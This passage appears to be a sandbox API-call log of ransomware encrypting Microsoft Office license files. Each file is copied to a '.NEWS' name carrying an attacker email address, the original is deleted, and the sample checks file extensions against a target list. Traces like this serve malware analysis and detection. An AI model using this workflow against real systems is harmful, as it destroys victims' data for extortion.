lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0182.902] WriteFile (in: hFile=0x53c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x114, lpOverlapped=0x0) returned 1 [0182.902] SetEndOfFile (hFile=0x53c) returned 1 [0182.902] CloseHandle (hObject=0x53c) returned 1 [0182.902] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.902] SetEndOfFile (hFile=0x3f4) returned 1 [0182.905] CloseHandle (hObject=0x3f4) returned 1 [0182.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1 [0182.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.906] lstrlenW (lpString=".doc") returned 4 [0182.906] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.907] lstrlenW (lpString=".docx") returned 5 [0182.907] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.907] lstrlenW (lpString=".pdf") returned 4 [0182.907] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.907] lstrlenW (lpString=".xls") returned 4 [0182.907] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.907] lstrlenW (lpString=".xlsx") returned 5 [0182.907] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.907] lstrlenW (lpString=".ppt") returned 4 [0182.907] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.907] lstrlenW (lpString=".zip") returned 4 [0182.907] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.907] lstrlenW (lpString=".rar") returned 4 [0182.907] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.907] lstrlenW (lpString=".bz2") returned 4 [0182.907] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.907] lstrlenW (lpString=".7z") returned 3 [0182.907] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.907] lstrlenW (lpString=".dbf") returned 4 [0182.907] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.907] lstrlenW (lpString=".1cd") returned 4 [0182.907] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.908] lstrlenW (lpString=".jpg") returned 4 [0182.908] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.908] lstrlenW (lpString=".doc") returned 4 [0182.908] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.908] lstrlenW (lpString=".docx") returned 5 [0182.908] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.908] lstrlenW (lpString=".pdf") returned 4 [0182.908] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.908] lstrlenW (lpString=".xls") returned 4 [0182.908] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.908] lstrlenW (lpString=".xlsx") returned 5 [0182.908] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.908] lstrlenW (lpString=".ppt") returned 4 [0182.908] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.908] lstrlenW (lpString=".zip") returned 4 [0182.908] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.908] lstrlenW (lpString=".rar") returned 4 [0182.908] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.908] lstrlenW (lpString=".bz2") returned 4 [0182.908] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.908] lstrlenW (lpString=".7z") returned 3 [0182.908] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.908] lstrlenW (lpString=".dbf") returned 4 [0182.908] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.909] lstrlenW (lpString=".1cd") returned 4 [0182.909] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0182.909] lstrlenW (lpString=".jpg") returned 4 [0182.909] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.909] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0182.909] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 36 [0182.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0182.910] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11617) returned 1 [0182.910] CloseHandle (hObject=0x3f4) returned 1 [0182.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0182.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0182.911] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.911] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.912] GetLastError () returned 0x0 [0182.912] ReadFile (in: hFile=0x3f4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d61, lpOverlapped=0x0) returned 1 [0182.951] WriteFile (in: hFile=0x53c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0182.952] ReadFile (in: hFile=0x3f4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0182.953] WriteFile (in: hFile=0x53c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x11c, lpOverlapped=0x0) returned 1 [0182.953] SetEndOfFile (hFile=0x53c) returned 1 [0182.957] CloseHandle (hObject=0x53c) returned 1 [0182.984] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.984] SetEndOfFile (hFile=0x3f4) returned 1 [0183.001] CloseHandle (hObject=0x3f4) returned 1 [0183.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0183.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.390] lstrlenW (lpString=".doc") returned 4 [0183.390] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.390] lstrlenW (lpString=".docx") returned 5 [0183.390] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.390] lstrlenW (lpString=".pdf") returned 4 [0183.390] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.391] lstrlenW (lpString=".xls") returned 4 [0183.391] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.391] lstrlenW (lpString=".xlsx") returned 5 [0183.391] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.391] lstrlenW (lpString=".ppt") returned 4 [0183.391] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.391] lstrlenW (lpString=".zip") returned 4 [0183.391] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.391] lstrlenW (lpString=".rar") returned 4 [0183.391] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.391] lstrlenW (lpString=".bz2") returned 4 [0183.391] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.391] lstrlenW (lpString=".7z") returned 3 [0183.391] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.391] lstrlenW (lpString=".dbf") returned 4 [0183.391] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.391] lstrlenW (lpString=".1cd") returned 4 [0183.391] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.391] lstrlenW (lpString=".jpg") returned 4 [0183.391] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.392] lstrlenW (lpString=".doc") returned 4 [0183.392] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.392] lstrlenW (lpString=".docx") returned 5 [0183.392] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.392] lstrlenW (lpString=".pdf") returned 4 [0183.392] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.392] lstrlenW (lpString=".xls") returned 4 [0183.392] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.392] lstrlenW (lpString=".xlsx") returned 5 [0183.392] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.392] lstrlenW (lpString=".ppt") returned 4 [0183.392] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.392] lstrlenW (lpString=".zip") returned 4 [0183.392] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.392] lstrlenW (lpString=".rar") returned 4 [0183.392] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.392] lstrlenW (lpString=".bz2") returned 4 [0183.392] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.392] lstrlenW (lpString=".7z") returned 3 [0183.392] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.392] lstrlenW (lpString=".dbf") returned 4 [0183.392] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.392] lstrlenW (lpString=".1cd") returned 4 [0183.392] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0183.392] lstrlenW (lpString=".jpg") returned 4 [0183.393] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.393] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0183.393] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 33 [0183.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0183.394] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10667) returned 1 [0183.394] CloseHandle (hObject=0x568) returned 1 [0183.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220 [0183.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0183.394] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.394] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0183.395] GetLastError () returned 0x0 [0183.395] ReadFile (in: hFile=0x568, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x29ab, lpOverlapped=0x0) returned 1 [0184.002] WriteFile (in: hFile=0x548, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0184.016] ReadFile (in: hFile=0x568, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.016] WriteFile (in: hFile=0x548, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x116, lpOverlapped=0x0) returned 1 [0184.016] SetEndOfFile (hFile=0x548) returned 1 [0184.017] CloseHandle (hObject=0x548) returned 1 [0184.026] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.027] SetEndOfFile (hFile=0x568) returned 1 [0184.068] CloseHandle (hObject=0x568) returned 1 [0184.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1 [0184.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.293] lstrlenW (lpString=".doc") returned 4 [0184.293] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.293] lstrlenW (lpString=".docx") returned 5 [0184.293] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.293] lstrlenW (lpString=".pdf") returned 4 [0184.293] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.293] lstrlenW (lpString=".xls") returned 4 [0184.293] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.293] lstrlenW (lpString=".xlsx") returned 5 [0184.293] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.293] lstrlenW (lpString=".ppt") returned 4 [0184.293] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.293] lstrlenW (lpString=".zip") returned 4 [0184.293] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.293] lstrlenW (lpString=".rar") returned 4 [0184.293] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.293] lstrlenW (lpString=".bz2") returned 4 [0184.293] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.293] lstrlenW (lpString=".7z") returned 3 [0184.293] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.293] lstrlenW (lpString=".dbf") returned 4 [0184.294] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.294] lstrlenW (lpString=".1cd") returned 4 [0184.294] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.294] lstrlenW (lpString=".jpg") returned 4 [0184.294] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.294] lstrlenW (lpString=".doc") returned 4 [0184.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.294] lstrlenW (lpString=".docx") returned 5 [0184.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.294] lstrlenW (lpString=".pdf") returned 4 [0184.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.294] lstrlenW (lpString=".xls") returned 4 [0184.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.294] lstrlenW (lpString=".xlsx") returned 5 [0184.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.294] lstrlenW (lpString=".ppt") returned 4 [0184.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.294] lstrlenW (lpString=".zip") returned 4 [0184.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.294] lstrlenW (lpString=".rar") returned 4 [0184.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.294] lstrlenW (lpString=".bz2") returned 4 [0184.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.295] lstrlenW (lpString=".7z") returned 3 [0184.295] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.295] lstrlenW (lpString=".dbf") returned 4 [0184.295] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.295] lstrlenW (lpString=".1cd") returned 4 [0184.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.295] lstrlenW (lpString=".jpg") returned 4 [0184.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.295] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0184.295] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 37 [0184.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.321] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11621) returned 1 [0184.321] CloseHandle (hObject=0x518) returned 1 [0184.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220 [0184.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.667] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.668] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: 